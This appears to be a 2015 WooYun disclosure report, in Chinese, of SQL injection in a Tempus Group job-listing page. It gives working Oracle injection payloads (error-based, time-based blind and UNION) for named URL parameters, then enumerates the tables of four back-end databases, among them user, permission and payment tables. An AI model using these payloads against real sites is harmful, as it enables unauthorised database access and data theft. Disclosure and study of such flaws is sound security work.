当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0117709

漏洞标题：腾邦国际某站SQL注入大量数据库DBA权限

相关厂商：腾邦集团

漏洞作者： 路人甲

提交时间：2015-06-02 14:33

修复时间：2015-07-17 15:32

公开时间：2015-07-17 15:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-02： 细节已通知厂商并且等待厂商处理中
2015-06-02： 厂商已经确认，细节仅向厂商公开
2015-06-12： 细节向核心白帽子及相关领域专家公开
2015-06-22： 细节向普通白帽子公开
2015-07-02： 细节向实习白帽子公开
2015-07-17： 细节向公众公开

简要描述：

233

详细说明：

http://group.tempus.cn/pw/job2/UI/employ_introduce.as
px?company_id=178&id=4930&type=3
参数company_id,id

漏洞证明：

---
Parameter: company_id (GET)
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: company_id=178' AND 5292=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(98)||CHR(118)||CHR(113)||(SELECT (CASE WHEN (5292=5292) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(112)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL) AND 'lvTp'='lvTp&id=4930&type=3
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: company_id=178' AND 1917=DBMS_PIPE.RECEIVE_MESSAGE(CHR(88)||CHR(122)||CHR(105)||CHR(117),5) AND 'nNIP'='nNIP&id=4930&type=3
    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: company_id=-7460' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHR(113)||CHR(98)||CHR(98)||CHR(118)||CHR(113)||CHR(84)||CHR(88)||CHR(68)||CHR(80)||CHR(99)||CHR(120)||CHR(98)||CHR(109)||CHR(72)||CHR(74)||CHR(113)||CHR(122)||CHR(112)||CHR(118)||CHR(113),NULL,NULL,NULL,NULL FROM DUAL-- &id=4930&type=3
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
Database: ACCOUNT
[84 tables]
+--------------------------------+
| B_AGENT_INFO                   |
| B_BANK_INFO                    |
| B_NEW_AGENT_INFO               |
| B_NEW_AGENT_INFO_TEMP          |
| B_PERIOD_INFO                  |
| B_TOG_AGENT_INFO               |
| ERROR_IMPORT_INFO              |
| S_CONSTANT                     |
| S_OPT_LOG                      |
| S_OPT_LOGBAK                   |
| TB_QAP_AP_PAYMENT_TERMS_V      |
| TB_QAP_VENDOR_INFO_V           |
| TB_QAR_AR_PAYMENT_TERMS_V      |
| TB_QAR_CUSTOMER_INFO_V         |
| TB_QAR_DEPART_V                |
| TB_QAR_MEMO_LINE_TYPE_V        |
| TB_QAR_SALES_DEPART_V          |
| TB_QAR_TRX_TYPE_V              |
| TB_QCE_BANK_ACCOUNT_V          |
| TB_QGL_ALL_ORGANIZATIONS_V     |
| TB_QGL_COA_BUSINESSLINE_V      |
| TB_QGL_COA_PRODLINE_V          |
| TB_QGL_COA_PROJECT_V           |
| T_ACCOUNT_BILL                 |
| T_ACCOUNT_BILL_TEMP            |
| T_ADMDETAIL                    |
| T_AIRCONTRACT                  |
| T_AIRWAYSDEF                   |
| T_BILLINFO                     |
| T_CASHCOLLECTION               |
| T_CN_APTOTAL                   |
| T_CN_BILL                      |
| T_CN_INSURANCE                 |
| T_CN_INSURANCE_TEMP            |
| T_CN_PAY                       |
| T_CN_PURCHASE                  |
| T_CN_PURCHASE_REFUND_ON_AIRCOM |
| T_CN_PURCHASE_REFUND_ON_TEMPUS |
| T_CN_RENTAL                    |
| T_CN_SALEREFUND                |
| T_CN_SALEREFUND_TEMP           |
| T_CN_SALESTATISTIC             |
| T_CN_SALE_PUR_ERROR            |
| T_CN_TICKET                    |
| T_CN_TICKET_TEMP               |
| T_CN_TMCEXTEND                 |
| T_DATA_DICTIONARY              |
| T_GROUP                        |
| T_GROUP_PERMISSION             |
| T_HOTALEXCEL                   |
| T_IN_AIRBILL                   |
| T_IN_AIRLINES                  |
| T_IN_APTOTAL                   |
| T_IN_BILL                      |
| T_IN_BILL_MATCH_ERROR          |
| T_IN_CUSTOMERBILL              |
| T_IN_DEPARTMENT                |
| T_IN_ERPCOUNT                  |
| T_IN_ERRORDETAIL               |
| T_IN_HXERRORREFUND             |
| T_IN_HXPAYDATA                 |
| T_IN_HXPAYREFUND               |
| T_IN_INSURANCE_BILL            |
| T_IN_OTHERS                    |
| T_IN_PAY                       |
| T_IN_PURCHASE                  |
| T_IN_SALE                      |
| T_IN_SALECOMPANY               |
| T_IN_SALEREFUND                |
| T_IN_SPREFUND                  |
| T_ITINERARY                    |
| T_KEYS                         |
| T_PURCHASE                     |
| T_RESOURCES                    |
| T_SUPPLIER                     |
| T_SUPPLIER_CRM                 |
| T_SYSVARIABLE                  |
| T_TMC_CUSTOMER_INFO            |
| T_TOG_MAILINFO                 |
| T_TOG_MAILINFO_BACK            |
| T_USER                         |
| T_USER_GROUP                   |
| T_USER_SUPPLIER                |
| T_VEHICLEBOAT                  |
+--------------------------------+
Database: APEX_030200
[360 tables]
+--------------------------------+
| SYS_IOT_OVER_70794             |
| WWV_COLUMN_EXCEPTIONS          |
| WWV_FLOWS                      |
| WWV_FLOWS_RESERVED             |
| WWV_FLOW_ACTIVITY_LOG1$        |
| WWV_FLOW_ACTIVITY_LOG2$        |
| WWV_FLOW_ACTIVITY_LOG_NUMBER$  |
| WWV_FLOW_ALTERNATE_CONFIG      |
| WWV_FLOW_ALT_CONFIG_DETAIL     |
| WWV_FLOW_ALT_CONFIG_PICK       |
| WWV_FLOW_APPLICATION_GROUPS    |
| WWV_FLOW_APP_BUILD_PREF        |
| WWV_FLOW_APP_COMMENTS          |
| WWV_FLOW_BANNER                |
| WWV_FLOW_BUILDER_AUDIT_TRAIL   |
| WWV_FLOW_BUTTON_TEMPLATES      |
| WWV_FLOW_CALS                  |
| WWV_FLOW_CAL_TEMPLATES         |
| WWV_FLOW_CHARSETS              |
| WWV_FLOW_CLICKTHRU_LOG$        |
| WWV_FLOW_CLICKTHRU_LOG2$       |
| WWV_FLOW_CLICKTHRU_LOG_NUMBER$ |
| WWV_FLOW_COLLECTIONS$          |
| WWV_FLOW_COLLECTION_MEMBERS$   |
| WWV_FLOW_COMPANIES             |
| WWV_FLOW_COMPANY_SCHEMAS       |
| WWV_FLOW_COMPANY_TYPES         |
| WWV_FLOW_COMPOUND_CONDITIONS   |
| WWV_FLOW_COMPUTATIONS          |
| WWV_FLOW_COUNTRIES             |
| WWV_FLOW_CSS_REPOSITORY        |
| WWV_FLOW_CUSTOMIZED_TASKS      |
| WWV_FLOW_CUSTOM_AUTH_SETUPS    |
| WWV_FLOW_DATA                  |
| WWV_FLOW_DATA_LOAD_BAD_LOG     |
| WWV_FLOW_DATA_LOAD_UNLOAD      |
| WWV_FLOW_DB_AUTH               |
| WWV_FLOW_DEBUG                 |
| WWV_FLOW_DEVELOPERS            |
| WWV_FLOW_DEVELOPER_ROLES       |
| WWV_FLOW_DICTIONARY$           |
| WWV_FLOW_DUAL100               |
| WWV_FLOW_DYNAMIC_TRANSLATIONS$ |
| WWV_FLOW_EFFECTIVE_USERID_MAP  |
| WWV_FLOW_ENTRY_POINTS          |
| WWV_FLOW_ENTRY_POINT_ARGS      |
| WWV_FLOW_FIELD_TEMPLATES       |
| WWV_FLOW_FILE_OBJECTS$PART     |
| WWV_FLOW_FLASH_CHARTS          |
| WWV_FLOW_FLASH_CHART_SERIES    |
| WWV_FLOW_FND_GROUP_USERS       |
| WWV_FLOW_FND_USER              |
| WWV_FLOW_FND_USER_GROUPS       |
| WWV_FLOW_FOLDERS               |
| WWV_FLOW_HNT_ARGUMENT_INFO     |
| WWV_FLOW_HNT_COLUMN_INFO       |
| WWV_FLOW_HNT_LOV_DATA          |
| WWV_FLOW_HNT_PROCEDURE_INFO    |
| WWV_FLOW_HNT_TABLE_INFO        |
| WWV_FLOW_HTML_REPOSITORY       |
| WWV_FLOW_ICON_BAR              |
| WWV_FLOW_ICON_BAR_ATTRIBUTES   |
| WWV_FLOW_IMAGE_REPOSITORY      |
| WWV_FLOW_IMPORT_EXPORT         |
| WWV_FLOW_INSTALL               |
| WWV_FLOW_INSTALL_BUILD_OPT     |
| WWV_FLOW_INSTALL_CHECKS        |
| WWV_FLOW_INSTALL_SCRIPTS       |
| WWV_FLOW_ITEMS                 |
| WWV_FLOW_JOBS                  |
| WWV_FLOW_JOB_BIND_VALUES       |
| WWV_FLOW_LANGUAGES             |
| WWV_FLOW_LANGUAGE_MAP          |
| WWV_FLOW_LISTS                 |
| WWV_FLOW_LISTS_OF_VALUES$      |
| WWV_FLOW_LIST_ITEMS            |
| WWV_FLOW_LIST_OF_VALUES_DATA   |
| WWV_FLOW_LIST_TEMPLATES        |
| WWV_FLOW_LOCK_PAGE             |
| WWV_FLOW_LOCK_PAGE_LOG         |
| WWV_FLOW_LOV_TEMP              |
| WWV_FLOW_LOV_VALUES            |
| WWV_FLOW_MAIL_ATTACHMENTS      |
| WWV_FLOW_MAIL_LOG              |
| WWV_FLOW_MAIL_QUEUE            |
| WWV_FLOW_MENUS                 |
| WWV_FLOW_MENU_OPTIONS          |
| WWV_FLOW_MENU_TEMPLATES        |
| WWV_FLOW_MESSAGES$             |
| WWV_FLOW_MODELS                |
| WWV_FLOW_MODEL_PAGES           |
| WWV_FLOW_MODEL_PAGE_COLS       |
| WWV_FLOW_MODEL_PAGE_REGIONS    |
| WWV_FLOW_ONLINE_HELP           |
| WWV_FLOW_ONLINE_HELP_JA        |
| WWV_FLOW_PAGES_RESERVED        |
| WWV_FLOW_PAGE_CACHE            |
| WWV_FLOW_PAGE_GENERIC_ATTR     |
| WWV_FLOW_PAGE_GROUPS           |
| WWV_FLOW_PAGE_PLUGS            |
| WWV_FLOW_PAGE_PLUG_TEMPLATES   |
| WWV_FLOW_PAGE_SUBMISSIONS      |
| WWV_FLOW_PASSWORD_HISTORY      |
| WWV_FLOW_PATCHES               |
| WWV_FLOW_PICK_DATABASE_SIZE    |
| WWV_FLOW_PICK_END_USERS        |
| WWV_FLOW_PICK_PAGE_VIEWS       |
| WWV_FLOW_PLATFORM_PREF         |
| WWV_FLOW_PLATFORM_PREFS        |
| WWV_FLOW_POPUP_LOV_TEMPLATE    |
| WWV_FLOW_PREFERENCES$          |
| WWV_FLOW_PROCESSING            |
| WWV_FLOW_PROVISION_COMPANY     |
| WWV_FLOW_PROVISION_SERICE_MOD  |
| WWV_FLOW_PURGED_SESSIONS$      |
| WWV_FLOW_QB_SAVED_COND         |
| WWV_FLOW_QB_SAVED_JOIN         |
| WWV_FLOW_QB_SAVED_QUERY        |
| WWV_FLOW_QB_SAVED_TABS         |
| WWV_FLOW_QUERY_COLUMN          |
| WWV_FLOW_QUERY_CONDITION       |
| WWV_FLOW_QUERY_DEFINITION      |
| WWV_FLOW_QUERY_OBJECT          |
| WWV_FLOW_RANDOM_IMAGES         |
| WWV_FLOW_REGION_CHART_SER_ATTR |
| WWV_FLOW_REGION_REPORT_COLUMN  |
| WWV_FLOW_REGION_REPORT_FILTER  |
| WWV_FLOW_REGION_UPD_RPT_COLS   |
| WWV_FLOW_REPORT_LAYOUTS        |
| WWV_FLOW_REQUEST_VERIFICATIONS |
| WWV_FLOW_REQUIRED_ROLES        |
| WWV_FLOW_RESTRICTED_SCHEMAS    |
| WWV_FLOW_ROW_TEMPLATES         |
| WWV_FLOW_RSCHEMA_EXCEPTIONS    |
| WWV_FLOW_SC_TRANS              |
| WWV_FLOW_SECURITY_SCHEMES      |
| WWV_FLOW_SESSIONS$             |
| WWV_FLOW_SHARED_QRY_SQL_STMTS  |
| WWV_FLOW_SHARED_QUERIES        |
| WWV_FLOW_SHARED_WEB_SERVICES   |
| WWV_FLOW_SHORTCUTS             |
| WWV_FLOW_SHORTCUT_USAGE_MAP    |
| WWV_FLOW_STANDARD_CSS          |
| WWV_FLOW_STANDARD_ICONS        |
| WWV_FLOW_STANDARD_JS           |
| WWV_FLOW_STEPS                 |
| WWV_FLOW_STEP_BRANCHES         |
| WWV_FLOW_STEP_BRANCH_ARGS      |
| WWV_FLOW_STEP_BUTTONS          |
| WWV_FLOW_STEP_COMPUTATIONS     |
| WWV_FLOW_STEP_ITEMS            |
| WWV_FLOW_STEP_ITEM_HELP        |
| WWV_FLOW_STEP_PROCESSING       |
| WWV_FLOW_STEP_VALIDATIONS      |
| WWV_FLOW_SW_BINDS              |
| WWV_FLOW_SW_CREATE_KEYWORDS    |
| WWV_FLOW_SW_DETAIL_RESULTS     |
| WWV_FLOW_SW_MAIN_KEYWORDS      |
| WWV_FLOW_SW_RESULTS            |
| WWV_FLOW_SW_SET_KEYWORDS       |
| WWV_FLOW_SW_SQLPLUS_CMD        |
| WWV_FLOW_SW_SQL_CMDS           |
| WWV_FLOW_SW_STMTS              |
| WWV_FLOW_TABS                  |
| WWV_FLOW_TEMPLATES             |
| WWV_FLOW_TEMPLATES$            |
| WWV_FLOW_TEMPLATE_PREFERENCES  |
| WWV_FLOW_TEMPLATE_THEMES$      |
| WWV_FLOW_TEMP_TABLE            |
| WWV_FLOW_TEMP_TREES            |
| WWV_FLOW_THEMES                |
| WWV_FLOW_TOPLEVEL_TABS         |
| WWV_FLOW_TRANSLATABLE_COLS$    |
| WWV_FLOW_TRANSLATABLE_TEXT$    |
| WWV_FLOW_TREES                 |
| WWV_FLOW_TREE_STATE            |
| WWV_FLOW_UPGRADE_PROGRESS      |
| WWV_FLOW_UPG_COL_NAME_CHANGES  |
| WWV_FLOW_UPG_TAB_NAME_CHANGES  |
| WWV_FLOW_UPG_TAB_OBSOLETE      |
| WWV_FLOW_USER_ACCESS_LOG1$     |
| WWV_FLOW_USER_ACCESS_LOG2$     |
| WWV_FLOW_USER_ACCESS_LOG_NUM$  |
| WWV_FLOW_VERSION$              |
| WWV_FLOW_WEB_PAGES             |
| WWV_FLOW_WEB_PG_LIST_ENTRIES   |
| WWV_FLOW_WEB_PG_REGIONS        |
| WWV_FLOW_WORKSHEETS            |
| WWV_FLOW_WORKSHEET_CATEGORIES  |
| WWV_FLOW_WORKSHEET_COLUMNS     |
| WWV_FLOW_WORKSHEET_COL_GROUPS  |
| WWV_FLOW_WORKSHEET_COMPUTATION |
| WWV_FLOW_WORKSHEET_CONDITIONS  |
| WWV_FLOW_WORKSHEET_DOCS        |
| WWV_FLOW_WORKSHEET_GEOCACHE    |
| WWV_FLOW_WORKSHEET_HISTORY     |
| WWV_FLOW_WORKSHEET_LINKS       |
| WWV_FLOW_WORKSHEET_LOVS        |
| WWV_FLOW_WORKSHEET_LOV_ENTRIES |
| WWV_FLOW_WORKSHEET_PRIVS       |
| WWV_FLOW_WORKSHEET_ROWS        |
| WWV_FLOW_WORKSHEET_RPTS        |
| WWV_FLOW_WORKSHEET_STICK       |
| WWV_FLOW_WORKSPACE_REQ_SIZE    |
| WWV_FLOW_WS_OPERATIONS         |
| WWV_FLOW_WS_PARAMETERS         |
| WWV_FLOW_WS_PROCESS_PARMS_MAP  |
| WWV_MIG_ACCESS                 |
| WWV_MIG_ACC_COLUMNS            |
| WWV_MIG_ACC_FORMS              |
| WWV_MIG_ACC_FORMS_CONTROLS     |
| WWV_MIG_ACC_FORMS_MODULES      |
| WWV_MIG_ACC_FORMS_PERM         |
| WWV_MIG_ACC_GROUPS             |
| WWV_MIG_ACC_GRPSMEMBERS        |
| WWV_MIG_ACC_INDEXES            |
| WWV_MIG_ACC_INDEXES_COLS       |
| WWV_MIG_ACC_MODULES            |
| WWV_MIG_ACC_MODULES_PERM       |
| WWV_MIG_ACC_PAGES              |
| WWV_MIG_ACC_QUERIES            |
| WWV_MIG_ACC_RELATIONS          |
| WWV_MIG_ACC_RELATION_COLS      |
| WWV_MIG_ACC_REPORTS            |
| WWV_MIG_ACC_RPTS_CONTROLS      |
| WWV_MIG_ACC_RPTS_MODULES       |
| WWV_MIG_ACC_RPT_PERMS          |
| WWV_MIG_ACC_TABLES             |
| WWV_MIG_ACC_TAB_PERM           |
| WWV_MIG_ACC_USERS              |
| WWV_MIG_EXPORTER               |
| WWV_MIG_FORMS                  |
| WWV_MIG_FRM_ALERTS             |
| WWV_MIG_FRM_ATTACHEDLIBRARY    |
| WWV_MIG_FRM_BLK_DSA            |
| WWV_MIG_FRM_BLK_DSC            |
| WWV_MIG_FRM_BLK_ITEMS          |
| WWV_MIG_FRM_BLK_ITEM_LIE       |
| WWV_MIG_FRM_BLK_ITEM_RADIO     |
| WWV_MIG_FRM_BLK_ITEM_TRIGGERS  |
| WWV_MIG_FRM_BLK_RELATIONS      |
| WWV_MIG_FRM_BLK_TRIGGERS       |
| WWV_MIG_FRM_BLOCKS             |
| WWV_MIG_FRM_CANVAS             |
| WWV_MIG_FRM_CNVG_COMPOUNDTEXT  |
| WWV_MIG_FRM_CNVS_GRAPHICS      |
| WWV_MIG_FRM_CNVS_TABPAGE       |
| WWV_MIG_FRM_COORDINATES        |
| WWV_MIG_FRM_CPDTXT_TEXTSEGMENT |
| WWV_MIG_FRM_EDITOR             |
| WWV_MIG_FRM_FMB_MENU           |
| WWV_MIG_FRM_FMB_MENUITEM_ROLE  |
| WWV_MIG_FRM_FMB_MENU_MENUITEM  |
| WWV_MIG_FRM_FORMMODULES        |
| WWV_MIG_FRM_LOV                |
| WWV_MIG_FRM_LOVCOLUMNMAPPING   |
| WWV_MIG_FRM_MENU               |
| WWV_MIG_FRM_MENUITEM_ROLE      |
| WWV_MIG_FRM_MENUS              |
| WWV_MIG_FRM_MENUSMODULEROLES   |
| WWV_MIG_FRM_MENUS_MENUMODULES  |
| WWV_MIG_FRM_MENUS_MODULES      |
| WWV_MIG_FRM_MENUS_PROGRAMUNIT  |
| WWV_MIG_FRM_MENU_MENUITEM      |
| WWV_MIG_FRM_MODULEPARAMETER    |
| WWV_MIG_FRM_MODULES            |
| WWV_MIG_FRM_OBJECTGROUP        |
| WWV_MIG_FRM_OBJECTGROUPCHILD   |
| WWV_MIG_FRM_OLB_XMLTAGTABLEMAP |
| WWV_MIG_FRM_PROGRAMUNIT        |
| WWV_MIG_FRM_PROPERTYCLASS      |
| WWV_MIG_FRM_RECORDGROUPCOLUMN  |
| WWV_MIG_FRM_RECORDGROUPS       |
| WWV_MIG_FRM_REPORT             |
| WWV_MIG_FRM_REV_APEX_APP       |
| WWV_MIG_FRM_REV_BLK_ITEMS      |
| WWV_MIG_FRM_REV_BLOCKS         |
| WWV_MIG_FRM_REV_FORMMODULES    |
| WWV_MIG_FRM_REV_LOV            |
| WWV_MIG_FRM_REV_LOVCOLMAPS     |
| WWV_MIG_FRM_TRIGGERS           |
| WWV_MIG_FRM_VISUALATTRIBUTES   |
| WWV_MIG_FRM_WINDOWS            |
| WWV_MIG_FRM_XMLTAGTABLEMAP     |
| WWV_MIG_GENERATED_APPLICATIONS |
| WWV_MIG_MENU_XMLTAGTABLEMAP    |
| WWV_MIG_OLB                    |
| WWV_MIG_OLB_BLK_DATASOURCECOL  |
| WWV_MIG_OLB_BLK_ITEM           |
| WWV_MIG_OLB_BLK_ITEM_LIE       |
| WWV_MIG_OLB_BLK_ITEM_TRIGGER   |
| WWV_MIG_OLB_BLK_TRIGGER        |
| WWV_MIG_OLB_BLOCK              |
| WWV_MIG_OLB_CANVAS             |
| WWV_MIG_OLB_CG_COMPOUNDTEXT    |
| WWV_MIG_OLB_CG_CT_TEXTSEGMENT  |
| WWV_MIG_OLB_CNVS_GRAPHICS      |
| WWV_MIG_OLB_MODULES            |
| WWV_MIG_OLB_OBJECTLIBRARY      |
| WWV_MIG_OLB_OBJECTLIBRARYTAB   |
| WWV_MIG_OLB_OLT_ALERT          |
| WWV_MIG_OLB_OLT_BLK_ITEM       |
| WWV_MIG_OLB_OLT_BLK_ITEM_TRIGR |
| WWV_MIG_OLB_OLT_BLOCK          |
| WWV_MIG_OLB_OLT_CANVAS         |
| WWV_MIG_OLB_OLT_CNVS_GRAPHICS  |
| WWV_MIG_OLB_OLT_GRAPHICS       |
| WWV_MIG_OLB_OLT_ITEM           |
| WWV_MIG_OLB_OLT_MENU           |
| WWV_MIG_OLB_OLT_MENU_MENUITEM  |
| WWV_MIG_OLB_OLT_OBJECTGROUP    |
| WWV_MIG_OLB_OLT_OB_OBJGRPCHILD |
| WWV_MIG_OLB_OLT_REPORT         |
| WWV_MIG_OLB_OLT_TABPAGE        |
| WWV_MIG_OLB_OLT_TABPG_GRAPHICS |
| WWV_MIG_OLB_OLT_VISUALATTRBUTE |
| WWV_MIG_OLB_OLT_WINDOW         |
| WWV_MIG_OLB_PROGRAMUNIT        |
| WWV_MIG_OLB_PROPERTYCLASS      |
| WWV_MIG_OLB_T_TP_GGGGG_CPDTXT  |
| WWV_MIG_OLB_T_TP_GGGGG_CT_TXST |
| WWV_MIG_OLB_T_TP_GGGG_CPDTXT   |
| WWV_MIG_OLB_T_TP_GGGG_CT_TXSGT |
| WWV_MIG_OLB_T_TP_GGGG_GRAPHICS |
| WWV_MIG_OLB_T_TP_GGG_CPDTXT    |
| WWV_MIG_OLB_T_TP_GGG_CT_TXTSGT |
| WWV_MIG_OLB_T_TP_GGG_GRAPHICS  |
| WWV_MIG_OLB_T_TP_GG_CPDTXT     |
| WWV_MIG_OLB_T_TP_GG_CT_TXTSGT  |
| WWV_MIG_OLB_T_TP_GG_GRAPHICS   |
| WWV_MIG_OLB_T_TP_G_GRAPHICS    |
| WWV_MIG_OLB_VISUALATTRIBUTE    |
| WWV_MIG_OLB_WINDOW             |
| WWV_MIG_PLSQL_LIBS             |
| WWV_MIG_PROJECTS               |
| WWV_MIG_PROJECT_COMPONENTS     |
| WWV_MIG_PROJECT_TRIGGERS       |
| WWV_MIG_REPORT                 |
| WWV_MIG_RESERVED_WORDS         |
| WWV_MIG_REV_APEXAPP            |
| WWV_MIG_REV_FORMS              |
| WWV_MIG_REV_QUERIES            |
| WWV_MIG_REV_REPORTS            |
| WWV_MIG_REV_TABLES             |
| WWV_MIG_RPTS                   |
| WWV_MIG_RPT_DATA               |
| WWV_MIG_RPT_DATASRC            |
| WWV_MIG_RPT_DATASRC_GRP        |
| WWV_MIG_RPT_DATASRC_SELECT     |
| WWV_MIG_RPT_DATA_SUMMARY       |
| WWV_MIG_RPT_GRP_DATAITEM       |
| WWV_MIG_RPT_GRP_DATAITEM_DESC  |
| WWV_MIG_RPT_GRP_DATAITEM_PRIV  |
| WWV_MIG_RPT_GRP_FIELD          |
| WWV_MIG_RPT_GRP_FILTER         |
| WWV_MIG_RPT_GRP_FORMULA        |
| WWV_MIG_RPT_GRP_ROWDELIM       |
| WWV_MIG_RPT_GRP_SUMMARY        |
| WWV_MIG_RPT_REPORTPRIVATE      |
| WWV_MIG_RPT_XMLTAGTABLEMAP     |
+--------------------------------+
Database: CPS
[28 tables]
+--------------------------------+
| ACCT_ADVANCELIST               |
| ACCT_ADVANCE_FZ                |
| ACCT_GROUP                     |
| ACCT_GROUPBK                   |
| ACCT_GROUP_BAK                 |
| ACCT_GROUP_PERMISSION          |
| ACCT_GROUP_PERMISSIONNK        |
| ACCT_GROUP_PERMISSION_BAK      |
| ACCT_PAYRATE                   |
| ACCT_PAYRATEBK                 |
| ACCT_PAYRATE_BAK               |
| ACCT_RESOURCES                 |
| ACCT_RESOURCESBK               |
| ACCT_RESOURCES_BAK             |
| ACCT_USER                      |
| ACCT_USERBK                    |
| ACCT_USER_BAK                  |
| ACCT_USER_GROUP                |
| ACCT_USER_GROUPBK              |
| ACCT_USER_GROUP_BAK            |
| T_ADVERTISING                  |
| T_ADVERTISINGLOCATION          |
| T_BROKERAGE                    |
| T_BUSINESSUSERINFO             |
| T_OPENCODE                     |
| T_PUBNOTE                      |
| T_SPECITY_CONFIG               |
| T_USERINFO                     |
+--------------------------------+
Database: TPYBX
[22 tables]
+--------------------------------+
| PIS_NS_GROUP                   |
| PIS_NS_GROUP_ROLE              |
| PIS_NS_RESOURCE                |
| PIS_NS_ROLE                    |
| PIS_NS_ROLE_ORG                |
| PIS_NS_ROLE_RESOURCE           |
| PIS_NS_USER                    |
| PIS_NS_USER_COPY               |
| PIS_NS_USER_GROUP              |
| PIS_NS_USER_ROLE               |
| PIS_ORGANIZATION               |
| PIS_ORGANIZATION_CPIC          |
| PIS_PARTNER                    |
| PIS_PARTNER_INSURANCE_SLIP     |
| PIS_PARTNER_IP                 |
| PIS_PARTNER_STAKEHOLDER        |
| PIS_PARTNER_SURRENDER          |
| PIS_PRODUCT                    |
| PIS_SALEPOINT                  |
| PIS_SALEPOINT_PRODUCT          |
| PIS_SALEPOINT_RECHARGE         |
| PIS_USER_ORG                   |
+--------------------------------+

修复方案：

~~~~~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-06-02 15:31

厂商回复：

感谢平台以及白帽子的协助！我们以及在协调处理中

最新状态：

暂无